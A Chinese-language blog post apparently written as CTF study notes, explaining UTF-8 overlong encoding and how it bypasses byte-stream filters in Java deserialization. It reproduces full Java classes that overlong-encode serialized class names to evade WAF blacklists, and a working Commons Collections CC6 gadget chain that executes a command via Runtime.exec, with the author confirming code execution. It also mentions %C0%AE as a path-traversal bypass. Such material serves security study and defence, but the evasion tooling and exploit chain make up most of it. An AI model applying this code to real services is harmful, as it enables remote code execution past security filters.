之前只是浅浅的知道这个东西,现在来深入学习一下,因为在java题目中有时会用到该方法来进行绕过

UTF-8编码过程

UTF-8(8-bit Unicode Transformation Format)是一种用于编码Unicode字符的可变长度字符编码方案。它能够表示Unicode字符集中的每个字符,并且与ASCII编码兼容。

它可以将Unicode里的所有字符转换成1到4个字节来表示

下面是一个Unicode对应UTF-8的转换表

image-20241020213226571

  • 常见的ASCII字符(U+0000到U+007F)用1个字节表示。
  • 其他Unicode字符根据其范围使用2到4个字节。

以欧元符号€来举例,该符号的Unicode编码为U+20AC,位于U+0800和U+FFFF之间,所以为三个字节,编码长度为3,0x20AC的二进制为10 0000 1010 1100

然后根据每个字节缺的位数,从左至右按顺序分成三组,第一组长度不满在前面补零:0010,000010,101100

然后填进去,转换成十六进制,欧元符号的UTF-8编码就是\xE2\x82\xAC

python来decode验证一下

image-20241020214652039

Overlong Encoding绕过原理

Overlong Encoding就是将一个字节的字符按照UTF-8的编码形式强行编码成两个字符

比如”.”这个字符正常Unicode编码为0x2E,按照utf-8的形式只能被编码为一个字节,但是我们可以按照两个字节的编码形式,通过补0强行分成两组

0x2E的二进制是10 1110,现在直接前面补5个0,变成00000 101110这样的两组,然后他的UTF-8的编码形式就变成\xC0\xAE

但是这个编码并不是一个合法的UTF-8编码,有些语言在转换的时候会进行检查比如python;而有些则对该检查存在缺陷,导致能够正常解析出来,比如java,这就造成Overlong Encoding绕过

python进行解码的话会报下面的错误

image-20241020220411264

会直接说非法字节,无法转换编码

该绕过方式会在一些目录穿越的时候用到,比如用%C0%AE来代替.,来绕过对目录穿越的限制,原因就是该服务在路径解码时使用UTF-8编码

Overlong Encoding在java中的绕过利用

在java的waf中通常是检查序列化的字节流中是否有敏感类来进行过滤,比如重写resolveClass来添加黑名单,如果能够进行二次反序列化可能有机会绕过一些关键类,但如果禁用得太死就轮到Overlong Encoding方法来大显身手了。

回来补充了:

这里有个地方得纠正一下,如果重写了resolveClass的话,我们是无法用utf-8来绕过的,因为resolveClass已经是在类的链接阶段了,此时utf-8的解析已经过了,所以在resolveClass的时候还是能够看到完整的类名

UTF-8只适用于直接对字节流过滤的情况

绕过分析

我们知道在序列化的时候,类名是直接明文可读,waf检测也是基于此形式,那绕过的思路就是利用Overlong Encoding来编码这些类名,让其不可见从而绕过检测

那现在就去看看java反序列化时是怎么读取类名,分析为什么我们可以绕过

这里尝试自己调了一下,发现不太好调(主要是太菜了🥲),1ue师傅的文章给出了调用栈,就不重头自己调了

ObjectStreamClass#readNonProxy(ObjectInputStream in)
ObjectInputStream#readUTF()
BlockDataInputStream#readUTF()
ObjectInputStream#readUTFBody(long utflen)
ObjectInputStream#readUTFSpan(StringBuilder sbuf, long utflen)

直接断在readNonProxy方法的调用处

image-20241020234544465

看一下idea的调用栈,大概知道一下怎么来到这里的

image-20241020234623530

然后跟进readNonProxy方法

image-20241020234726090

可以看到类名的读取就是用readUTF方法

然后直接走到比较关键的ObjectInputStream#readUTFBody方法里面

image-20241020235420062

最后的读取实现逻辑就在这两个方法里面,这两个方法里面读取字节的关键逻辑是一样的,看其中一个即可

这里看一下readUTFSpan方法的逻辑,该方法就是根据utflen去获取classname的值并返回到sbuf中

private long readUTFSpan(StringBuilder sbuf, long utflen)
throws IOException
{
int cpos = 0;
int start = pos;
int avail = Math.min(end - pos, CHAR_BUF_SIZE);
// stop short of last char unless all of utf bytes in buffer
int stop = pos + ((utflen > avail) ? avail - 2 : (int) utflen);
boolean outOfBounds = false;

try {
while (pos < stop) {
int b1, b2, b3;
b1 = buf[pos++] & 0xFF;
switch (b1 >> 4) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7: // 1 byte format: 0xxxxxxx
cbuf[cpos++] = (char) b1;
break;

case 12:
case 13: // 2 byte format: 110xxxxx 10xxxxxx
b2 = buf[pos++];
if ((b2 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x1F) << 6) |
((b2 & 0x3F) << 0));
break;

case 14: // 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx
b3 = buf[pos + 1];
b2 = buf[pos + 0];
pos += 2;
if ((b2 & 0xC0) != 0x80 || (b3 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x0F) << 12) |
((b2 & 0x3F) << 6) |
((b3 & 0x3F) << 0));
break;

default: // 10xx xxxx, 1111 xxxx
throw new UTFDataFormatException();
}
}
} catch (ArrayIndexOutOfBoundsException ex) {
outOfBounds = true;
} finally {
if (outOfBounds || (pos - start) > utflen) {
/*
* Fix for 4450867: if a malformed utf char causes the
* conversion loop to scan past the expected end of the utf
* string, only consume the expected number of utf bytes.
*/
pos = start + (int) utflen;
throw new UTFDataFormatException();
}
}

sbuf.append(cbuf, 0, cpos);
return pos - start;
}

里面分别对1字节、2字节、3字节的形式进行了处理,对字节格式的判断是通过b1的高四位来确定的

1字节处理:

// 1 byte format: 0xxxxxxx
cbuf[cpos++] = (char) b1;

这里的处理很简单,直接将b1字节值转换成字符

2字节处理:

// 2 byte format: 110xxxxx 10xxxxxx
b2 = buf[pos++];
if ((b2 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x1F) << 6) |
((b2 & 0x3F) << 0));

检查第二个字节是否符合格式,然后合并两个字节生成字符

首先根据b1高四位为12或者13,知道b1的前四位只能为1100或1101,也就是前三位固定为110;b2与上0xc0一定要为0x80,所以b2前两位一定为10;

然后在转换字符的时候,由b1字节的最后两位和b2的后六位构成字符的字节,也就是unicode的代码点,最后读取出我们的字符

b1&0x1F的作用就是去除前缀110,同样的b2&0x3F的作用就是去除前缀10

这里有个比较重要的地方,就是int类型的移位

因为一开始习惯性的认为超出8位会被截断,后来一想如果只有8位怎么表示unicode字符这么大的代码点呢

后来就知道了int类型因为是32位,他是按照32位来移位的,所以上面的移位操作并不会发生截断,也就是比如:00010100左移五位是10100 00000,这是按照32位来的,这样上面的合并操作看起来就合理了

如果想要用两个字节表示一个字符比如o的话,o的二进制为01101111,我们可以根据要求将其扩充成两字节UTF-8的编码

根据上面可知,b1保留了自己的中间3位,形式为 110+三位+要合并的两位,b2就是b1的后两位加上自己的后6位,所以这六位很容易知道是固定的,b2的前缀一定为10,所以b2就是固定的没办法变化

然后我们想转字符的话,由于字母的Unicode编码是0-127,所以第一位字节肯定为0,如果我们要得到这种形式,那么b1的中间3位一定得为0也是固定的,合并的两位就是我们o字符的前两位

所以o转换成能够解析的二进制形式就为:11000001 10101111,固定为\xC1\xAF

3字节处理:

// 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx
b3 = buf[pos + 1];
b2 = buf[pos + 0];
pos += 2;
if ((b2 & 0xC0) != 0x80 || (b3 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x0F) << 12) |
((b2 & 0x3F) << 6) |
((b3 & 0x3F) << 0));

同样检查后两个字节然后合并生成字符,有前面分析2字节处理的基础,分析3字节的处理也就简单很多了

首先b1右移4位等于14,即前缀一定是1110,然后就是判断b2、b3前缀是否为10

合并的逻辑就是:b1去除前缀左移12位,b2去除前缀左移6位,b3去除前缀不移位

然后就是想要三字节合并为一个ascii字符有什么要求了

  • b1:为前缀1110 + 0000,固定了
  • b3:没有移位也是固定的,就是10+我们要转化的字符的后六位
  • b2:100000 + 字符前两位

例如用b1,b2,b3表示j字符:11100000 10000001 10101010

转换为Overlong Encoding

那么应该对类进行转换呢,我们可以想到直接暴力将所有序列化字节流进行替换,但会破坏一些非类名的信息,可能导致反序列化失败,lzstar师傅的文章中给出了方法,我们可以继承ObjectOutputStream重写里面的序列化逻辑,更准确的说,是重写序列化类名的方法

师傅的重写思路就是继承ObjectOutputStream,重写writeClassDescriptor方法,在writeClassDescriptor方法中实现desc.writeNonProxy(this)方法的逻辑和将类名Overlong Encoding的逻辑,具体操作的话就是直接将desc.writeNonProxy(this)方法的逻辑复制进去,缺少的属性可以通过反射获取,缺少的方法可以通过反射调用,之后在里面加上Overlong Encoding的逻辑就可以了。

直接贴师傅的代码了这里,膜拜佬orz

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* 参考p神:https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
* 参考1ue:https://t.zsxq.com/17LkqCzk8
* 实现:参考 OObjectOutputStream# protected void writeClassDescriptor(ObjectStreamClass desc)方法
*/
public class CustomObjectOutputStream extends ObjectOutputStream {

public CustomObjectOutputStream(OutputStream out) throws IOException {
super(out);
}

private static HashMap<Character, int[]> map;
private static Map<Character,int[]> bytesMap=new HashMap<>();

static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf});
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});


bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
bytesMap.put('.', new int[]{0xe0,0x80,0xae});
bytesMap.put(';', new int[]{0xe0,0x80,0xbb});
bytesMap.put('A', new int[]{0xe0,0x81,0x81});
bytesMap.put('B', new int[]{0xe0,0x81,0x82});
bytesMap.put('C', new int[]{0xe0,0x81,0x83});
bytesMap.put('D', new int[]{0xe0,0x81,0x84});
bytesMap.put('E', new int[]{0xe0,0x81,0x85});
bytesMap.put('F', new int[]{0xe0,0x81,0x86});
bytesMap.put('G', new int[]{0xe0,0x81,0x87});
bytesMap.put('H', new int[]{0xe0,0x81,0x88});
bytesMap.put('I', new int[]{0xe0,0x81,0x89});
bytesMap.put('J', new int[]{0xe0,0x81,0x8a});
bytesMap.put('K', new int[]{0xe0,0x81,0x8b});
bytesMap.put('L', new int[]{0xe0,0x81,0x8c});
bytesMap.put('M', new int[]{0xe0,0x81,0x8d});
bytesMap.put('N', new int[]{0xe0,0x81,0x8e});
bytesMap.put('O', new int[]{0xe0,0x81,0x8f});
bytesMap.put('P', new int[]{0xe0,0x81,0x90});
bytesMap.put('Q', new int[]{0xe0,0x81,0x91});
bytesMap.put('R', new int[]{0xe0,0x81,0x92});
bytesMap.put('S', new int[]{0xe0,0x81,0x93});
bytesMap.put('T', new int[]{0xe0,0x81,0x94});
bytesMap.put('U', new int[]{0xe0,0x81,0x95});
bytesMap.put('V', new int[]{0xe0,0x81,0x96});
bytesMap.put('W', new int[]{0xe0,0x81,0x97});
bytesMap.put('X', new int[]{0xe0,0x81,0x98});
bytesMap.put('Y', new int[]{0xe0,0x81,0x99});
bytesMap.put('Z', new int[]{0xe0,0x81,0x9a});
bytesMap.put('[', new int[]{0xe0,0x81,0x9b});
bytesMap.put(']', new int[]{0xe0,0x81,0x9d});
bytesMap.put('a', new int[]{0xe0,0x81,0xa1});
bytesMap.put('b', new int[]{0xe0,0x81,0xa2});
bytesMap.put('c', new int[]{0xe0,0x81,0xa3});
bytesMap.put('d', new int[]{0xe0,0x81,0xa4});
bytesMap.put('e', new int[]{0xe0,0x81,0xa5});
bytesMap.put('f', new int[]{0xe0,0x81,0xa6});
bytesMap.put('g', new int[]{0xe0,0x81,0xa7});
bytesMap.put('h', new int[]{0xe0,0x81,0xa8});
bytesMap.put('i', new int[]{0xe0,0x81,0xa9});
bytesMap.put('j', new int[]{0xe0,0x81,0xaa});
bytesMap.put('k', new int[]{0xe0,0x81,0xab});
bytesMap.put('l', new int[]{0xe0,0x81,0xac});
bytesMap.put('m', new int[]{0xe0,0x81,0xad});
bytesMap.put('n', new int[]{0xe0,0x81,0xae});
bytesMap.put('o', new int[]{0xe0,0x81,0xaf});
bytesMap.put('p', new int[]{0xe0,0x81,0xb0});
bytesMap.put('q', new int[]{0xe0,0x81,0xb1});
bytesMap.put('r', new int[]{0xe0,0x81,0xb2});
bytesMap.put('s', new int[]{0xe0,0x81,0xb3});
bytesMap.put('t', new int[]{0xe0,0x81,0xb4});
bytesMap.put('u', new int[]{0xe0,0x81,0xb5});
bytesMap.put('v', new int[]{0xe0,0x81,0xb6});
bytesMap.put('w', new int[]{0xe0,0x81,0xb7});
bytesMap.put('x', new int[]{0xe0,0x81,0xb8});
bytesMap.put('y', new int[]{0xe0,0x81,0xb9});
bytesMap.put('z', new int[]{0xe0,0x81,0xba});

}



public void charWritTwoBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 2];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = map.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 2);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}

}
public void charWriteThreeBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 3];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = bytesMap.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
bytes[k++]= (byte) bs[2];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
str.append(Integer.toHexString(bs[2])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 3);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}
}


protected void writeClassDescriptor(ObjectStreamClass desc)
throws IOException {
String name = desc.getName();
boolean externalizable = (boolean) getFieldValue(desc, "externalizable");
boolean serializable = (boolean) getFieldValue(desc, "serializable");
boolean hasWriteObjectData = (boolean) getFieldValue(desc, "hasWriteObjectData");
boolean isEnum = (boolean) getFieldValue(desc, "isEnum");
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
System.out.println(name);
//写入name(jdk原生写入方法)
// writeUTF(name);
//写入name(两个字节表示一个字符)
// charWritTwoBytes(name);
//写入name(三个字节表示一个字符)
charWriteThreeBytes(name);


writeLong(desc.getSerialVersionUID());
byte flags = 0;
if (externalizable) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField =
null;
int protocol;
try {
protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
protocol = (int) protocolField.get(this);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if (serializable) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if (hasWriteObjectData) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if (isEnum) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);

writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
invoke(this, "writeTypeString", f.getTypeString());
}
}
}

public static void invoke(Object object, String methodName, Object... args) {
Method writeTypeString = null;
try {
writeTypeString = ObjectOutputStream.class.getDeclaredMethod(methodName, String.class);
writeTypeString.setAccessible(true);
try {
writeTypeString.invoke(object, args);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
}
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
}
}

public static Object getFieldValue(Object object, String fieldName) {
Class<?> clazz = object.getClass();
Field field = null;
Object value = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
value = field.get(object);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
return value;
}
}

文章评论区还提到了,可以直接重写writeUTF方法会更加简单,修改一下变成这样

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.HashMap;
import java.util.Map;

public class UTF8OutputStream extends ObjectOutputStream {

public UTF8OutputStream(OutputStream out) throws IOException {
super(out);
}

protected UTF8OutputStream() throws IOException, SecurityException {
}
private static HashMap<Character, int[]> map;
private static Map<Character,int[]> bytesMap=new HashMap<>();

static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf});
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});


bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
bytesMap.put('.', new int[]{0xe0,0x80,0xae});
bytesMap.put(';', new int[]{0xe0,0x80,0xbb});
bytesMap.put('A', new int[]{0xe0,0x81,0x81});
bytesMap.put('B', new int[]{0xe0,0x81,0x82});
bytesMap.put('C', new int[]{0xe0,0x81,0x83});
bytesMap.put('D', new int[]{0xe0,0x81,0x84});
bytesMap.put('E', new int[]{0xe0,0x81,0x85});
bytesMap.put('F', new int[]{0xe0,0x81,0x86});
bytesMap.put('G', new int[]{0xe0,0x81,0x87});
bytesMap.put('H', new int[]{0xe0,0x81,0x88});
bytesMap.put('I', new int[]{0xe0,0x81,0x89});
bytesMap.put('J', new int[]{0xe0,0x81,0x8a});
bytesMap.put('K', new int[]{0xe0,0x81,0x8b});
bytesMap.put('L', new int[]{0xe0,0x81,0x8c});
bytesMap.put('M', new int[]{0xe0,0x81,0x8d});
bytesMap.put('N', new int[]{0xe0,0x81,0x8e});
bytesMap.put('O', new int[]{0xe0,0x81,0x8f});
bytesMap.put('P', new int[]{0xe0,0x81,0x90});
bytesMap.put('Q', new int[]{0xe0,0x81,0x91});
bytesMap.put('R', new int[]{0xe0,0x81,0x92});
bytesMap.put('S', new int[]{0xe0,0x81,0x93});
bytesMap.put('T', new int[]{0xe0,0x81,0x94});
bytesMap.put('U', new int[]{0xe0,0x81,0x95});
bytesMap.put('V', new int[]{0xe0,0x81,0x96});
bytesMap.put('W', new int[]{0xe0,0x81,0x97});
bytesMap.put('X', new int[]{0xe0,0x81,0x98});
bytesMap.put('Y', new int[]{0xe0,0x81,0x99});
bytesMap.put('Z', new int[]{0xe0,0x81,0x9a});
bytesMap.put('[', new int[]{0xe0,0x81,0x9b});
bytesMap.put(']', new int[]{0xe0,0x81,0x9d});
bytesMap.put('a', new int[]{0xe0,0x81,0xa1});
bytesMap.put('b', new int[]{0xe0,0x81,0xa2});
bytesMap.put('c', new int[]{0xe0,0x81,0xa3});
bytesMap.put('d', new int[]{0xe0,0x81,0xa4});
bytesMap.put('e', new int[]{0xe0,0x81,0xa5});
bytesMap.put('f', new int[]{0xe0,0x81,0xa6});
bytesMap.put('g', new int[]{0xe0,0x81,0xa7});
bytesMap.put('h', new int[]{0xe0,0x81,0xa8});
bytesMap.put('i', new int[]{0xe0,0x81,0xa9});
bytesMap.put('j', new int[]{0xe0,0x81,0xaa});
bytesMap.put('k', new int[]{0xe0,0x81,0xab});
bytesMap.put('l', new int[]{0xe0,0x81,0xac});
bytesMap.put('m', new int[]{0xe0,0x81,0xad});
bytesMap.put('n', new int[]{0xe0,0x81,0xae});
bytesMap.put('o', new int[]{0xe0,0x81,0xaf});
bytesMap.put('p', new int[]{0xe0,0x81,0xb0});
bytesMap.put('q', new int[]{0xe0,0x81,0xb1});
bytesMap.put('r', new int[]{0xe0,0x81,0xb2});
bytesMap.put('s', new int[]{0xe0,0x81,0xb3});
bytesMap.put('t', new int[]{0xe0,0x81,0xb4});
bytesMap.put('u', new int[]{0xe0,0x81,0xb5});
bytesMap.put('v', new int[]{0xe0,0x81,0xb6});
bytesMap.put('w', new int[]{0xe0,0x81,0xb7});
bytesMap.put('x', new int[]{0xe0,0x81,0xb8});
bytesMap.put('y', new int[]{0xe0,0x81,0xb9});
bytesMap.put('z', new int[]{0xe0,0x81,0xba});

}
public void charWritTwoBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 2];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = map.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 2);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}

}
public void charWriteThreeBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 3];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = bytesMap.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
bytes[k++]= (byte) bs[2];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
str.append(Integer.toHexString(bs[2])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 3);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void writeUTF(String name) throws IOException {
//写入name(jdk原生写入方法)
// writeUTF(name);
//写入name(两个字节表示一个字符)
// charWritTwoBytes(name);
//写入name(三个字节表示一个字符)
charWriteThreeBytes(name);
}
}

绕过测试

这里直接打一个普通cc6的链子来测试是否可用

package org.clown.overlong;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.clown.Utils.CustomObjectOutputStream;
import org.clown.Utils.UTF8OutputStream;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class AttackTest {
public static void main(String[] args)throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map=new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//这里先随便赋一个值后面改回来

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");//这里待会调用的时候会在mpa新增加一个键值对aaa
Map<Object,Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"aaa");
Class lazyMapClass = LazyMap.class;
Field trans=lazyMapClass.getDeclaredField("factory");
trans.setAccessible(true);
trans.set(lazyMap,chainedTransformer);//这里改回来chainedTransformer
map.remove("aaa");//移除掉我们新增的键值

// serialize(hashMap);
// serialize1(hashMap);
// serialize2(hashMap);
unserialize("ser2.bin");
}

public static void serialize(Object obj)throws Exception{
CustomObjectOutputStream oos=new CustomObjectOutputStream(new FileOutputStream("ser.bin"));//用重写过的ObjectOutputStream来序列化
oos.writeObject(obj);
}
//正常序列化
public static void serialize1(Object obj)throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser1.bin"));//用重写过的ObjectOutputStream来序列化
oos.writeObject(obj);
}
//重写writeUTF的序列化
public static void serialize2(Object obj)throws Exception{
UTF8OutputStream oos=new UTF8OutputStream(new FileOutputStream("ser2.bin"));//用重写过的ObjectOutputStream来序列化
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}

可以去看一下使用前后字节流的变化

image-20241022221131584

image-20241022221119279

可以看到也是成功变成不可读的类名了,反序列化也是能正常弹计算器的

image-20241022221255341

参考

java原生反序列化OverlongEncoding分析及实战 - 先知社区

UTF-8 Overlong Encoding导致的安全问题